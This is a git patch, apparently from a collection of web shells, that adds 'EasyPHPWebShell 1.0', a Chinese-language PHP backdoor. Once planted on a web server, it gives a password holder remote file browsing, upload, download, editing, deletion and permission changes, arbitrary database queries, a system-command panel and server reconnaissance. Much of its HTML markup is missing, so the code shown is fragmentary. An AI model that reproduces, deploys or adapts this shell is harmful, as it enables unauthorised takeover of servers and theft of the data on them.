From ce1ff683a3f5cc72f7b11008e1cfdb2ede6b03c0 Mon Sep 17 00:00:00 2001 From: tennc Date: Mon, 8 Jun 2015 11:53:44 +0800 Subject: [PATCH] Create xw.php --- php/xw.php | 674 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 674 insertions(+) create mode 100644 php/xw.php diff --git a/php/xw.php b/php/xw.php new file mode 100644 index 0000000..e1b4511 --- /dev/null +++ b/php/xw.php @@ -0,0 +1,674 @@ + + + + +EasyPHPWebShell(S8S8测试版) + + + + + + + +EasyPHPWebShell(S8S8测试版) + + +function redirect(){window.location.replace(\"{$_SERVER['PHP_SELF']}\");}redirect();"; + } + if($_GET["action"] == "login"){ + if($my_password==$_POST["pmy_password"]){ + @session_register("smy_password"); + $_SESSION["smy_password"] = $my_password; + @setcookie ("cmy_password",$my_password,time()+(3600*$cookit_time)); + echo ""; + } + } + if (@session_is_registered("smy_password")||isset($_COOKIE["cmy_password"])){ + if (($_SESSION["smy_password"]!=$my_password)&&(!isset($_COOKIE["cmy_password"])||$_COOKIE["cmy_password"]!=$my_password)) + getloginpass(); + }else getloginpass(); +} + +if(!@get_cfg_var("register_globals")){ + foreach($_GET as $key => $val) $$key = $val; + foreach($_POST as $key => $val) $$key = $val; + foreach($_FILES as $key => $val) $$key = $val; +} + +if(isset($df_path)){ + if (!file_exists($df_path)) $errordownload = "没找到文件"; + else { + $df_name = basename($df_path); + $df_fhd=fopen($df_path,"rb"); + if($df_fhd==false) $errordownload = "打开文件错误"; + else{ + Header("Content-type: application/octet-stream"); + Header("Accept-Ranges: bytes"); + Header("Accept-Length: ".filesize($df_path)); + Header("Content-Disposition: attachment; filename=".$df_name); + echo fread($df_fhd,filesize($df_path)); + fclose($df_fhd); + exit; + } + } +} + +if(isset($gotodir)) if($gotodir != "") $dir=$gotodir; + +if(!isset($action)) { + $action = "dir"; + $dir = "."; +} + +if(!isset($dir)) $dir = "."; + +$rootdir = str_replace("\\\\","/",$_SERVER["DOCUMENT_ROOT"]); + +if(isset($abspath)) $dir = gettruepath($dir); +else if(isset($unabspath)){ + $dir = gettruepath($dir); + if(strstr($dir,$rootdir)) $dir = str_replace("$rootdir",".",$dir); + else $dir="."; +} +$rny="";$rnn=""; + +?> + + + + + + + + + + + + + + + +
+ 欢迎使用EasyPHPWebShell 1.0(S8S8测试版)【切莫用于任何非法途径否则后果自负】 +
+ 本文件绝对路径:$stmp】";?>【点此注销会话】 +
文件管理】【文本编辑器】【数据库查询】【Shell命令】【环境变量】【PHP系统信息】【查看更新】 +
+
+ + + + + + + + + + + + + + + + + + + + + +
+ + 文件管理 +
 当前目录:  +   + 点此用相对路径查看】 ";else echo "【点此用绝对路径查看】 ";?> +
 文件上传到(目录): +  本地文件: +   + +
 新建文件(目录)在当前目录:  +   +   +  当前目录状态:【】";?> +
+ + + + + + + + + + 删|". + "|". + "|". + "]"; + $dirsum++; + } + $color=ch_color($color); + echo "". + "". + "". + "". + "". + "". + ""; + } + } + @closedir($dirs); + $dirs=@opendir($dir); + while ($lop_fname=@readdir($dirs)){ + if(!@is_dir("$dir/$lop_fname")&&$lop_fname!=".."){ + $lop_ftype= substr(@base_convert(@fileperms("$dir/$lop_fname"),10,8),-4); + $lop_foper= "[|". + "|". + "|". + "|". + "|". + "]"; + $color=ch_color($color); + echo "". + "". + "". + "". + "". + "". + ""; + $filesum++; + } + } + @closedir($dirs); + ?> + + + +
文件名建立时间|最后修改时间大小(KB)属性操作
$bp [$lop_fname][$lop_fcdata|$lop_fmdata]$lop_fsize$lop_ftype$lop_foper
$lop_fname[".@date("Y-n-d H:i:s",@filectime("$dir/$lop_fname"))."|".@date("Y-n-d H:i:s",@filemtime("$dir/$lop_fname"))."]".@number_format(@filesize("$dir/$lop_fname")/1024,3)."".$lop_ftype."$lop_foper
目录数:,文件数:
+ + 文本编辑器(若目标文件不存在将新建新文件) + + + + + + 当前编辑文件名: + + 生成备份文件(原文件.bak)
+

+    + + 点此返回文件浏览页面 +

+ + + + + + 数据库查询 + + + + +

+ + 数据库地址:" size="20"> + 端口:" size="5"> + 用户名:" size="10"> + 密码:" size="10"> + 数据库名:" size="10">
+

+

+    + +

+ +

+ + + + Shell命令 + + + + +
+ + 函数: + 命令:" size="80"> +

+

+    + +

+ +

+ + + + PHP系统信息 + + + + +
phpinfo函数被禁止
"; + ?>
+ + + + + 系统消息 + + + + + +
+ ":"生成备份文件成功

"; + $fd = @fopen($editfilename, "w"); + if($fd == false) echo "打开文件[$editfilename]错误."; + else{ + echo $out=@fwrite($fd,$editfiletext)?"编辑文件[$editfilename]成功!":"写入文件文件[$editfilename]错误"; + @fclose( $fd ); + } + } + }else if($action == "filedel"){ + if(isset($deldir)) { + echo $out = file_exists($deldir)?(deltree($deldir)?"删除目录[$deldir]成功!":"删除目录[$deldir]失败!"):"目录[$deldir]不存在!!"; + }else if(isset($delfile)){ + @chmod("$delfile", 0777); + echo $out = file_exists($delfile)?(@unlink($delfile)?"删除文件[$delfile]成功!":"删除文件[$delfile]失败!"):"文件[$delfile]不存在!"; + } + }else if($action == "filerename"){ + echo $out = file_exists($renamef)?(@rename($renamef,$renamet)?"重命名[$renamef]为[{$renamet}]成功":"重命名[$renamef]为[{$renamet}]失败"):"文件[$renamef]不存在!"; + }else if($action =="filecopy") { + if(isset($copydirf)&&isset($copydirt)){ + echo $out = file_exists($copydirf)?(truepath($copydirt)?(copydir($copydirf,$copydirt)?"拷贝目录[$copydirf]到[$copydirt]成功":"拷贝目录[$copydirf]到[$copydirt]失败"):"目标目录[$copydirt]不存在且创建错误"):"目录[$copydirf]不存在!"; + }else if(isset($copyfilef)&&isset($copyfilet)){ + echo $out = file_exists($copyfilef)?(truepath(dirname($copyfilet))?(@copy($copyfilef,$copyfilet)?"拷贝文件[$copyfilef]到[$copyfilet]成功":"拷贝文件[$copyfilef]到[$copyfilet]失败"):"目标目录不存在且创建错误"):"源文件[$copyfilef]不存在!"; + } + }else if($action == "filecreate"){ + if(isset($mkdirb)){ + echo $out = file_exists("$dir/$mkname")?"[{$dir}/{$mkname}]该目录已存在":(@mkdir("$dir/$mkname",0777)?"目录[$mkname]创建成功":"目录[$mkname]创建失败"); + }else if(isset($mkfileb)){ + if(file_exists("$dir/$mkname")) echo "[$dir/$mkname]该文件已存在"; + else{ + $fd = @fopen("$dir/$mkname", "w"); + if($fd == false) echo "建立文件[$mkname]错误."; + else{ + echo "建立文件[$mkname]成功

点此跳转入编辑浏览页面"; + @fclose( $fd ); + } + } + } + }else if($action == "filetype"){ + echo $out=@chmod($cfile,base_convert($ctype,8,10))?"更改成功!":"更改失败!"; + }else if($action == "fileup"){ + echo $out = @copy($userfile["tmp_name"],"{$filedir}/{$userfile['name']}")?"上传文件[{$userfile['name']}]成功.位置:[{$filedir}/{$userfile['name']}]共({$userfile['size']})字节.":"上传文件[{$userfile['name']}]失败"; + }else{ + echo "错误的提交参数action."; + } + ?> +

+ 点此返回文件浏览页面 +

+ + + + + + 环境变量  支持  不支持
+ + + + + + +
+ + "; + } + ?> + + "; + } + ?> + + "; + } + ?> + + + + + + + "; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + $i++; + } + } + ?> +
主机信息
{$sinfo[$i][0]}{$sinfo[$i][1]}
数据库支持信息
{$ssql[$i][0]}{$ssql[$i][1]}
组件和其他信息
{$sobj[$i][0]}{$sobj[$i][1]}
自定义查看PHP配置参数(多个参数可用","逗号隔开)
请输入参数的ProgId或ClassId: + > + +
查询[{$envname[$i]}]如下:
Get_cfg_var方式". my_func($envname[$i],1)."
function_exists方式". my_func($envname[$i],2)."
Get_magic_quotes_gpc方式". my_func($envname[$i],3)."
Get_magic_quotes_runtime方式". my_func($envname[$i],4)."
Getenv方式". my_func($envname[$i],5)."

+ + + +
点此返回文件浏览页面

"; +}echoend();@ob_end_flush();?> + +

页面执行时间:".getpageruntime()." 秒
". + "EasyPHPWebShell 1.0(S8S8测试版)
脚本由 网络技术论坛(http://www.s8s8.net) ZV(zvrop@163.com) 编写
". + "Copyright (C) 2004 www.s8s8.net All Rights Reserved.
"; +} + +function gettruepath($path){ + return str_replace("\\","/",@realpath($path)); +} + +function my_func($getname,$tp){ + global $rny, $rnn; + $out = ($tp==1)?@get_cfg_var($getname):(($tp==2)?@function_exists($getname):(($tp==3)?@get_magic_quotes_gpc($getname):(($tp==4)?@get_magic_quotes_runtime($getname):(($tp==5)?@Getenv($getname):"error!")))); + return ($out == 1)?$rny:(($out == 0)?$rnn:$out); +} + +function ch_color($c){ + return $c=="#CCCCCC"?"#EEEEEE":"#CCCCCC"; +} + +function getloginpass(){ + ?> +






+ + + + + + + + +
+ 欢迎使用,请输入密码 +

密码 +

+

+

+